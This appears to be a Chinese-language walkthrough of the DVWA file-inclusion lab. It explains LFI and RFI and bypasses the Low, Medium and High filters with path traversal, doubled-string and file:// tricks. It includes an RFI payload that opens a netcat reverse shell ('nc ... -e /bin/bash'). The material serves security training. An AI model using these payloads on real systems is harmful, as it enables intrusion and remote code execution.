About

一些 web 应用程序允许用户指定直接用于文件流的输入,或允许用户将文件上载到服务器。稍后,web 应用程序在 web 应用程序上下文中访问用户提供的输入。通过这样做,web 应用程序允许恶意文件执行的可能性。

如果选择要包含的文件在目标计算机上是本地的,则称为“Local File Inclusion(LFI)。但文件也可能包含在其他计算机上,因此攻击是“Remote File Inclusion(RFI)”。

当 RFI 不可行时,在 LFI 中使用另一个漏洞(例如文件上传和目录遍历)通常可以达到相同的效果。

注意,“文件包含”一词与“任意文件访问”或“文件泄露”不同。

与文件包含有关的 PHP 函数:

  • include():只有代码执行到该函数时才会包含文件进来,发生错误时只给出一个警告并继续向下执行;
  • include_once():和include()功能相同,区别在于当重复调用同一文件时,程序只调用一次;
  • require():只要程序执行就包含文件进来,发生错误时会输出错误结果并终止运行;
  • require_once():和require()功能相同,区别在于当重复调用同一文件时,程序只调用一次;

相关的 php.ini 配置参数:

  • allow_url_fopen = on
  • allow_url_include = on

Object

在仅使用文件包含漏洞的情况下,从../hackable/flags/fi.php读取 5 个所有的著名名言。

001 Low

点击第一个文件,并查看源码:

1-1.png

可以发现源代码中没有任何防护,只要我们点击其中一个文件,就会把它当作 PHP 文件去解读。我们把 file1、file2、file3 依次点击,能显示各个文件的内容。我们尝试修改 URL 看看有没有 file4 :

1-2.png

还不错。我们直接修改 URL:

  1. http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=../hackable/flags/fi.php

这个页面没有东西。我们再尝试更上一级的目录:

http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=../../hackable/flags/fi.php

运行结果如下:

1-3.png


如果采用 LFI,最简单是直接读取某个外部服务器的文件:

1-4.png

比较糟糕的情况是被黑客拿 Shell。我们在 Kali 中启动 Apache2:

systemctl start apache2

然后进入 root 用户,在/var/www/html/下新建hack.php文件:

<?php
$cmd = 'nc localhost 49152 -e /bin/bash';
system($cmd);

然后用 netcat 程序监听本地 49152 端口:

1-5.png

然后我们在浏览器访问:

http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=http://172.18.7.4/hack.php

然后连接会接上:

1-6.png

夺 Shell 成功。

002 Medium

开发人员已经阅读了 LFI / RFI 的一些问题,并决定过滤输入。然而,所使用的模式还不够:

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\\" ), "", $file );

?>

使用str_replace()函数是极其不安全的,因为可以使用双写绕过替换规则。例如page=htthttp://p://时,str_replace()函数会将http://删除,于是page=http://,成功执行远程命令:

http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=....//....//hackable/flags/fi.php

2-1.png

对于 RFI:

http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=httphttp://://www.cuit.edu.cn

2-2.png

003 High

开发者已经受够了。他们决定只允许使用某些文件。但是,由于有多个文件具有相同的基名,因此它们使用通配符来包含所有文件。

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

看似安全,我们依然可以利用file协议绕过防护策略(要用绝对路径):

http://hyperv-win10.me/dvwa/vulnerabilities/fi/?page=file://C:\\Software\\phpstudy_pro\\WWW\\DVWA\\hackable\\flags\\fi.php

3-1.png

对于 RFI,我们需要配合其他漏洞才能利用,比如文件上传漏洞。

References